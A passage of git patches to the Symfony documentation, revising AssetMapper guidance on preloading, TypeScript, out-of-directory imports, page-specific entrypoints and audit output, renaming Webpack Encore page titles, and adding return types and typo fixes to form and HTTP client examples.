-            'preload' => true,
-        ],
-    ];
+AssetMapper avoids this problem by outputting "preload" ``link`` tags.
+The logic works like this:
 
-.. note::
+**A) When you call ``importmap('app')`` in your template**, the AssetMapper component
+looks at the ``assets/app.js`` file and finds all of the JavaScript files
+that it imports or files that those files import, etc.
 
-    As described above, when you preload ``assets/app.js``, the AssetMapper component
-    find all of the JavaScript files that it imports using a **relative** path
-    and preloads those as well. However, it does not currently do this when
-    you import "packages" (e.g. ``bootstrap``). These packages will already
-    live in your ``importmap.php`` file, so their preload setting is handled
-    explicitly in that file.
+**B) It then outputs a ``link`` tag** for each of those files with a ``rel="preload"``
+attribute. This tells the browser to start downloading those files immediately,
+even though it hasn't yet seen the ``import`` statement for them.
 
-If the :doc:`WebLink Component </web_link>` is available in your application,
+Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
 .. versionadded:: 6.4
@@ -723,7 +730,7 @@ Google Lighthouse score.
 Does the AssetMapper Component work in All Browsers?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Yup! Features like importmaps and the ``import`` statement are supported
+Yes! Features like importmaps and the ``import`` statement are supported
 in all modern browsers, but the AssetMapper component ships with an `ES module shim`_
 to support ``importmap`` in old browsers. So, it works everywhere (see note
 below).
@@ -762,12 +769,16 @@ Can I Use with Sass or Tailwind?
 
 Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
 
-Can I use with TypeScript, JSX or Vue?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Can I use with TypeScript?
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sure! See :ref:`Using TypeScript <asset-mapper-ts>`.
 
-Probably not.
+Can I use with JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-TypeScript, by its very nature, requires a build step.
+Probably not. And if you're writing an application in React, Svelte or another
+frontend framework, you'll probably be better off using *their* tools directly.
 
 JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
 you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
@@ -780,20 +791,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
-.. _asset-mapper-tailwind:
-
-Using Tailwind CSS
-------------------
-
-To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
-`symfonycasts/tailwind-bundle`_.
-
-.. _asset-mapper-sass:
+.. _asset-mapper-ts:
 
-Using Sass
-----------
+Using TypeScript
+----------------
 
-To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
+To use TypeScript with AssetMapper component, check out `sensiolabs/typescript-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -839,48 +842,19 @@ used instead of the original file.
 Importing Assets Outside of the ``assets/`` Directory
 -----------------------------------------------------
 
-You cannot currently import assets that live outside of your asset path
-(i.e. the ``assets/`` directory). For example, this won't work:
+You *can* import assets that live outside of your asset path
+(i.e. the ``assets/`` directory). For example:
 
 .. code-block:: css
 
     /* assets/styles/app.css */
 
-    /* you cannot reach above assets/ */
+    /* you can reach above assets/ */
     @import url('../../vendor/babdev/pagerfanta-bundle/Resources/public/css/pagerfanta.css');
-    /* using a logical path won't work either */
-    @import url('bundles/babdevpagerfanta/css/pagerfanta.css');
-
-This wouldn't work either:
-
-.. code-block:: javascript
-
-    // assets/app.js
-
-    // you cannot reach above assets/
-    import '../vendor/symfony/ux-live-component/assets/dist/live_controller.js';
-    // using a logical path won't work either (the "@symfony/ux-live-component" path is added by the LiveComponent library)
-    import '@symfony/ux-live-component/live_controller.js';
-    // importing like a JavaScript "package" won't work
-    import '@symfony/ux-live-component';
-
-For CSS files, you can solve this by adding a ``link`` tag to your template
-instead of using the ``@import`` statement.
-
-For JavaScript files, you can add an entry to your ``importmap`` file:
-
-.. code-block:: terminal
-
-    $ php bin/console importmap:require @symfony/ux-live-component --path=vendor/symfony/ux-live-component/assets/dist/live_controller.js
 
-Then you can ``import '@symfony/ux-live-component'`` like normal. The ``--path``
-option tells the command to point to a local file instead of a package.
-In this case, the ``@symfony/ux-live-component`` argument could be anything:
-whatever you use here will be the string that you can use in your ``import``.
+However, if you get an error like this:
 
-If you get an error like this:
-
-    The "some/package" importmap entry contains the path "vendor/some/package/assets/foo.js"
+    The "app" importmap entry contains the path "vendor/some/package/assets/foo.js"
     but it does not appear to be in any of your asset paths.
 
 It means that you're pointing to a valid file, but that file isn't in any of
@@ -1000,61 +974,66 @@ rendered by the ``{{ importmap() }}`` Twig function:
 Page-Specific CSS & JavaScript
 ------------------------------
 
+---> TODO HEre
+---> need to add the entrypoint in the importmap.php file
+----> and should NOT call parent() in the javascript block
+
 Sometimes you may choose to include CSS or JavaScript files only on certain
-pages. To add a CSS file to a specific page, create the file, then add a
-``link`` tag to it like normal:
+pages. For JavaScript, an easy way is to load the file with a `dynamic import`_:
 
-.. code-block:: html+twig
+.. code-block:: javascript
 
-    {# templates/products/checkout.html.twig #}
-    {% block stylesheets %}
-        {{ parent() }}
+    const someCondition = '...';
+    if (someCondition) {
+        import('./some-file.js');
 
-        <link rel="stylesheet" href="{{ asset('styles/checkout.css') }}">
-    {% endblock %}
+        // or use async/await
+        // const something = await import('./some-file.js');
+    }
 
-For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
-add a ``script`` tag that imports it:
+Another option is to create a separate :ref:`entrypoint <app-entrypoint>`. For
+example, create a ``checkout.js`` file that contains whatever JavaScript and
+CSS you need:
 
-.. code-block:: html+twig
+.. code-block:: javascript
 
-    {# templates/products/checkout.html.twig #}
-    {% block javascripts %}
-        {{ parent() }}
+    // assets/checkout.js
+    import './checkout.css';
 
-        <script type="module">
-            import '{{ asset('checkout.js') }}';
-        </script>
-    {% endblock %}
+    // ...
 
-This instructs your browser to download and execute the file.
+Next, add this to ``importmap.php`` and mark it as an entrypoint::
 
-In this setup, the normal ``app.js`` file will be executed first and *then*
-``checkout.js``. If, for some reason, you want to execute *only* ``checkout.js``
-and *not* ``app.js``, override the ``javascript`` block entirely and render
-``checkout.js`` through the ``importmap()`` function:
+    // importmap.php
+    return [
+        // the 'app' entrypoint ...
 
-.. code-block:: html+twig
+        'checkout' => [
+            'path' => './assets/checkout.js',
+            'entrypoint' => true,
+        ],
+    ];
+
+Finally, on the page that needs this JavaScript, call ``importmap()`` and pass
+both ``app`` and ``checkout``:
+
+.. code-block:: twig
 
     {# templates/products/checkout.html.twig #}
     {% block javascripts %}
-        <script type="module">
-            {{ importmap(asset('checkout.js')) }}
-        </script>
-    {% endblock %}
+        {# do NOT call parent() #}
 
-The important thing is that the ``importmap()`` function must be called exactly
-*one* time on each page. It outputs the ``importmap`` and also adds a
-``<script type="module">`` tag that loads the ``app.js`` file or whatever path
-you pass to ``importmap()``.
+        {{ importmap('app', 'checkout') }}
+    {% endblock %}
 
-.. note::
+By passing both ``app`` and ``checkout``, the ``importmap()`` function will
+output the ``importmap`` and also add a ``<script type="module">`` tag that
+loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
+to *not* call ``parent()`` in the ``javascripts`` block. Each page can only
+have *one* importmap, so ``importmap()`` must be called exactly once.
 
-    If you look at the source of your page, by default, the ``<script type="module">``
-    from ``importmap()`` will contain ``import 'app';`` - not something like
-    ``import /assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
-    because ``app`` appears in your ``importmap.php``, the browser will read ``app``
-    from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
+If, for some reason, you want to execute *only* ``checkout.js``
+and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
 
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
@@ -1092,21 +1071,15 @@ command that checks security vulnerabilities in the dependencies of your applica
     Severity  Title                                          Package    Version  Patched in  More info
     --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
     Medium    jQuery Cross Site Scripting vulnerability      jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-257q-pV89-V3xv
-    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-jpcq-cgw6-v4j6
-    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-gxr4-xjj5-5px2
-    Medium    XSS in jQuery as used in Drupal, etc.          jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-6c3j-c64m-qhgg
-    Medium    Prototype Pollution in jQuery                  jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-wV67-q8rr-grjp
     High      Prototype Pollution in JSON5 via Parse Method  json5      1.0.0    1.0.2       https://api.github.com/advisories/GHSA-9c47-m6qq-7p4h
     Medium    semver vulnerable to RegExp Denial of Service  semver     4.3.0    5.7.2       https://api.github.com/advisories/GHSA-c2qf-rxjj-qqgw
-    High      RegExp Denial of Service in sever              semver     4.3.0    4.3.2       https://api.github.com/advisories/GHSA-X6fg-f45m-jf5g
     Critical  Prototype Pollution in minimist                minimist   1.1.3    1.2.6       https://api.github.com/advisories/GHSA-xvch-5gv4-984h
-    Medium    Prototype Pollution in minimist                minimist   1.1.3    1.2.3       https://api.github.com/advisories/GHSA-vh95-rmgr-6w4m
     Medium    ESLint dependencies are vulnerable             minimist   1.1.3    1.2.2       https://api.github.com/advisories/GHSA-7fhm-mqm4-2wp7
     Medium    Bootstrap Vulnerable to Cross-Site Scripting   bootstrap  4.1.3    4.3.1       https://api.github.com/advisories/GHSA-9v3M-8fp8-mi99
     --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
 
     7 packages found: 7 audited / 0 skipped
-    12 vulnerabilities found: 1 Critical / 2 High / 9 Medium
+    6 vulnerabilities found: 1 Critical / 1 High / 4 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
 the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
@@ -1128,7 +1101,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
 .. _bootstrap: https://www.npmjs.com/package/bootstrap
 .. _ES module shim: https://www.npmjs.com/package/es-module-shims
-.. _jsdelivr.com: https://www.jsdelivr.com/
 .. _highlight.js: https://www.npmjs.com/package/highlight.js
 .. _class syntax: https://caniuse.com/es6-class
 .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
@@ -1141,3 +1113,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
 .. _symfonycasts/tailwind-bundle: https://symfony.com/bundles/TailwindBundle/current/index.html
 .. _symfonycasts/sass-bundle: https://symfony.com/bundles/SassBundle/current/index.html
+.. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle
+.. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
+.. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 95ba6086913..e9322f1cdbd 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -1,5 +1,5 @@
-Configuring Babel
-=================
+Configuring Babel with Encore
+=============================
 
 `Babel`_ is automatically configured for all ``.js`` and ``.jsx`` files via the
 ``babel-loader`` with sensible defaults (e.g. with the ``@babel/preset-env`` and
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f5b3959eafd..d0fde12c283 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,5 +1,5 @@
-Using Bootstrap CSS & JS
-========================
+Using Bootstrap CSS & JS with Webpack Encore
+============================================
 
 This article explains how to install and integrate the `Bootstrap CSS framework`_
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index 267781da3d0..898923f11bd 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -1,5 +1,5 @@
-Using a CDN
-===========
+Using a CDN with Webpack Encore
+===============================
 
 Are you deploying to a CDN? That's awesome :) Once you've made sure that your
 built files are uploaded to the CDN, configure it in Encore:
diff --git a/frontend/encore/code-splitting.rst b/frontend/encore/code-splitting.rst
index 759987e5f0a..be1a30340f9 100644
--- a/frontend/encore/code-splitting.rst
+++ b/frontend/encore/code-splitting.rst
@@ -1,5 +1,5 @@
-Async Code Splitting
-====================
+Async Code Splitting with Webpack Encore
+========================================
 
 When you require/import a JavaScript or CSS module, Webpack compiles that code into
 the final JavaScript or CSS file. Usually, that's exactly what you want. But what
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 6981ec2f76a..33eb3467af8 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -1,5 +1,5 @@
-Copying & Referencing Images
-============================
+Copying & Referencing Images with Webpack Encore
+================================================
 
 Need to reference a static file - like the path to an image for an ``img`` tag?
 That can be tricky if you store your assets outside of the public document root.
diff --git a/frontend/encore/css-preprocessors.rst b/frontend/encore/css-preprocessors.rst
index 6b70e8f38cb..c56900462c3 100644
--- a/frontend/encore/css-preprocessors.rst
+++ b/frontend/encore/css-preprocessors.rst
@@ -1,5 +1,5 @@
-CSS Preprocessors: Sass, LESS, Stylus, etc.
-===========================================
+CSS Preprocessors: Sass, etc. with Webpack Encore
+=================================================
 
 To use the Sass, LESS or Stylus pre-processors, enable the one you want in ``webpack.config.js``:
 
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 92699b0857a..6cde5b7ee22 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -1,5 +1,5 @@
-Adding Custom Loaders & Plugins
-===============================
+Adding Custom Loaders & Plugins with Webpack Encore
+===================================================
 
 Adding Custom Loaders
 ---------------------
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 60dc7cc9e9d..2bdfd4111a1 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -1,5 +1,5 @@
-FAQ and Common Issues
-=====================
+WebpackEncore: FAQ and Common Issues
+====================================
 
 .. _how-do-i-deploy-my-encore-assets:
 
diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst
new file mode 100644
index 00000000000..8e1ecb9973d
--- /dev/null
+++ b/frontend/encore/index.rst
@@ -0,0 +1,54 @@
+.. _encore-toc:
+
+Webpack Encore Documentation
+----------------------------
+
+Getting Started
+...............
+
+* :doc:`Installation </frontend/encore/installation>`
+* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
+
+Adding more Features
+....................
+
+* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
+* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
+* :doc:`Enabling React.js </frontend/encore/reactjs>`
+* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`
+* :doc:`/frontend/encore/copy-files`
+* :doc:`Configuring Babel </frontend/encore/babel>`
+* :doc:`Source maps </frontend/encore/sourcemaps>`
+* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>`
+
+Optimizing
+..........
+
+* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>`
+* :doc:`Using a CDN </frontend/encore/cdn>`
+* :doc:`/frontend/encore/code-splitting`
+* :doc:`/frontend/encore/split-chunks`
+* :doc:`/frontend/encore/url-loader`
+
+Guides
+......
+
+* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
+* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
+* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
+* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
+* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
+* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
+* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>`
+
+Issues & Questions
+..................
+
+* :doc:`FAQ & Common Issues </frontend/encore/faq>`
+
+Full API
+........
+
+* `Full API`_
+
+.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 8bad142104c..20523c5f459 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -1,5 +1,5 @@
-jQuery Plugins and Legacy Applications
-======================================
+jQuery Plugins and Legacy Applications with Webpack Encore
+==========================================================
 
 Inside Webpack, when you require a module, it does *not* (usually) set a global variable.
 Instead, it just returns a value:
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 40b2dc43923..3b31c5e1628 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -1,5 +1,5 @@
-PostCSS and autoprefixing (postcss-loader)
-==========================================
+PostCSS and autoprefixing (postcss-loader) with Webpack Encore
+==============================================================
 
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index facd7cdcbb6..ca070f543df 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -1,5 +1,5 @@
-Enabling React.js
-=================
+Enabling React.js with Webpack Encore
+=====================================
 
 .. admonition:: Screencast
     :class: screencast
@@ -9,7 +9,7 @@ Enabling React.js
 .. tip::
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
-    
+
 Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 439aa6f98f6..46492700923 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -1,5 +1,5 @@
-Passing Information from Twig to JavaScript
-===========================================
+Passing Information from Twig to JavaScript with Webpack Encore
+===============================================================
 
 In Symfony applications, you may find that you need to pass some dynamic data
 (e.g. user information) from Twig to your JavaScript code. One great way to pass
diff --git a/frontend/encore/sourcemaps.rst b/frontend/encore/sourcemaps.rst
index 62d4c6a351b..f07f32f3389 100644
--- a/frontend/encore/sourcemaps.rst
+++ b/frontend/encore/sourcemaps.rst
@@ -1,5 +1,5 @@
-Enabling Source Maps
-====================
+Enabling Source Maps with Webpack Encore
+========================================
 
 `Source maps`_ allow browsers to access the original code related to some
 asset (e.g. the Sass code that was compiled to CSS or the TypeScript code that
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 7739b0a49c6..295e0f4eb4c 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -1,4 +1,4 @@
-Preventing Duplication by "Splitting" Shared Code into Separate Files
+Preventing Duplication by "Splitting" Shared Code with Webpack Encore
 =====================================================================
 
 Suppose you have multiple entry files and *each* requires ``jquery``. In this
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 103f1f0b293..c9cd7487d39 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -1,5 +1,5 @@
-Enabling TypeScript (ts-loader)
-===============================
+Enabling TypeScript (ts-loader) with Webpack Encore
+===================================================
 
 Want to use `TypeScript`_? No problem! First, enable it:
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 5e89234f295..f63fa01cc8d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,5 +1,5 @@
-Inlining Images & Fonts in CSS
-==============================
+Inlining Images & Fonts in CSS with Webpack Encore
+==================================================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 6fe8a8275cd..5b848c17b04 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -1,5 +1,5 @@
-Asset Versioning
-================
+Asset Versioning with Webpack Encore
+====================================
 
 .. _encore-long-term-caching:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index ca39808483e..113c5008e46 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -1,5 +1,5 @@
-Enabling Vue.js (``vue-loader``)
-================================
+Enabling Vue.js (``vue-loader``) with Webpack Encore
+====================================================
 
 .. admonition:: Screencast
     :class: screencast
@@ -9,7 +9,7 @@ Enabling Vue.js (``vue-loader``)
 .. tip::
 
     Check out live demos of Symfony UX Vue.js component at `https://ux.symfony.com/vue`_!
-    
+
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff

From 1f07b4fcdf5de2025d31f4814a71bc8157ae3293 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Wed, 29 Nov 2023 16:48:15 +0100
Subject: [PATCH 4093/5766] Fix deprecations return void

---
 reference/forms/types/options/choice_filter.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index 235e1d84ed9..66d06b19bbd 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -18,7 +18,7 @@ define a callable that takes each choice as the only argument and must return
 
     class AddressType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver
                 ->setDefaults([
@@ -28,7 +28,7 @@ define a callable that takes each choice as the only argument and must return
             ;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $allowedCountries = $options['allowed_countries'];
 

From b0f80415d3cb72dc240db446ccfa762ae88502c0 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Wed, 29 Nov 2023 16:44:22 +0000
Subject: [PATCH 4094/5766] Fix return type deprecations

---
 reference/forms/types/options/choice_filter.rst.inc     | 2 +-
 reference/forms/types/options/choice_loader.rst.inc     | 2 +-
 reference/forms/types/options/error_mapping.rst.inc     | 2 +-
 reference/forms/types/options/validation_groups.rst.inc | 6 +++---
 4 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index 235e1d84ed9..476290f9f69 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -18,7 +18,7 @@ define a callable that takes each choice as the only argument and must return
 
     class AddressType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver
                 ->setDefaults([
diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 502ddb125c7..553c9694b14 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -57,7 +57,7 @@ better performance::
             return ChoiceType::class;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 // the example below will create a CallbackChoiceLoader from the callable
diff --git a/reference/forms/types/options/error_mapping.rst.inc b/reference/forms/types/options/error_mapping.rst.inc
index 37b3b204483..4c70276d741 100644
--- a/reference/forms/types/options/error_mapping.rst.inc
+++ b/reference/forms/types/options/error_mapping.rst.inc
@@ -13,7 +13,7 @@ of the form.
 With customized error mapping, you can do better: map the error to the city
 field so that it displays above it::
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'error_mapping' => [
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index c5fe70b6d67..1f5c9a597a3 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -11,7 +11,7 @@ For ``null`` the validator will just use the ``Default`` group.
 If you specify the groups as an array or string they will be used by the
 validator as they are::
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => 'Registration',
@@ -31,7 +31,7 @@ the option. Symfony will then pass the form when calling it::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form): array {
@@ -69,7 +69,7 @@ Here's an example::
     class MyType extends AbstractType
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => new GroupSequence(['First', 'Second']),

From 9d15f1c0e880c2114e72bf461e16129dfee251b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Thu, 30 Nov 2023 12:18:40 +0100
Subject: [PATCH 4095/5766] fix type of `$response->headers->set()`

The signature of the function `set` on `\Symfony\Component\HttpFoundation\ResponseHeaderBag` has changed with the release of Symfony 6.0
---
 profiler.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index e8b587eb9c1..9ea77a2485d 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -213,10 +213,10 @@ pages from a server.
 
 By default, the debug toolbar displays the information of the initial page load
 and doesn't refresh after each AJAX request. However, you can set the
-``Symfony-Debug-Toolbar-Replace`` header to a value of ``1`` in the response to
+``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response to
 the AJAX request to force the refresh of the toolbar::
 
-    $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+    $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
 
 Ideally this header should only be set during development and not for
 production. To do that, create an :doc:`event subscriber </event_dispatcher>`
@@ -251,7 +251,7 @@ event::
             }
 
             $response = $event->getResponse();
-            $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+            $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
         }
     }
 

From 0cc5fb3a6e9737d951283b5dff7ddcc7ffa07bb0 Mon Sep 17 00:00:00 2001
From: Hmache Abdellah <11814824+Hmache@users.noreply.github.com>
Date: Thu, 30 Nov 2023 19:36:51 +0100
Subject: [PATCH 4096/5766] Fix typo in http_client.rst

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index a65bafcde3f..d05977e7155 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1809,7 +1809,7 @@ assertions on the request before returning the mocked response::
         },
     ];
 
-    $client = new MockHttpClient($expectedRequest);
+    $client = new MockHttpClient($expectedRequests);
 
     // ...
 

From f65d2f48ae104da00ebbba14458288c2b3d66b2a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 1 Dec 2023 15:29:35 +0100
Subject: [PATCH 4097/5766] [Form] Updating the generic `FormEvent` to specific
 event (e.g. `PreSetDataEvent`)

Page: https://symfony.com/doc/6.4/form/events.html

The idea is taken from https://github.com/symfony/symfony/issues/52829#issuecomment-1834967022
---
 form/events.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 6c3dc151d70..a9283b65722 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
+:method:`PreSetData::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
@@ -277,13 +277,13 @@ method of the ``FormFactory``::
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (PreSubmitEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 
@@ -313,7 +313,7 @@ callback for better readability::
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\FormEvents;
 
     // ...
@@ -331,7 +331,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event): void
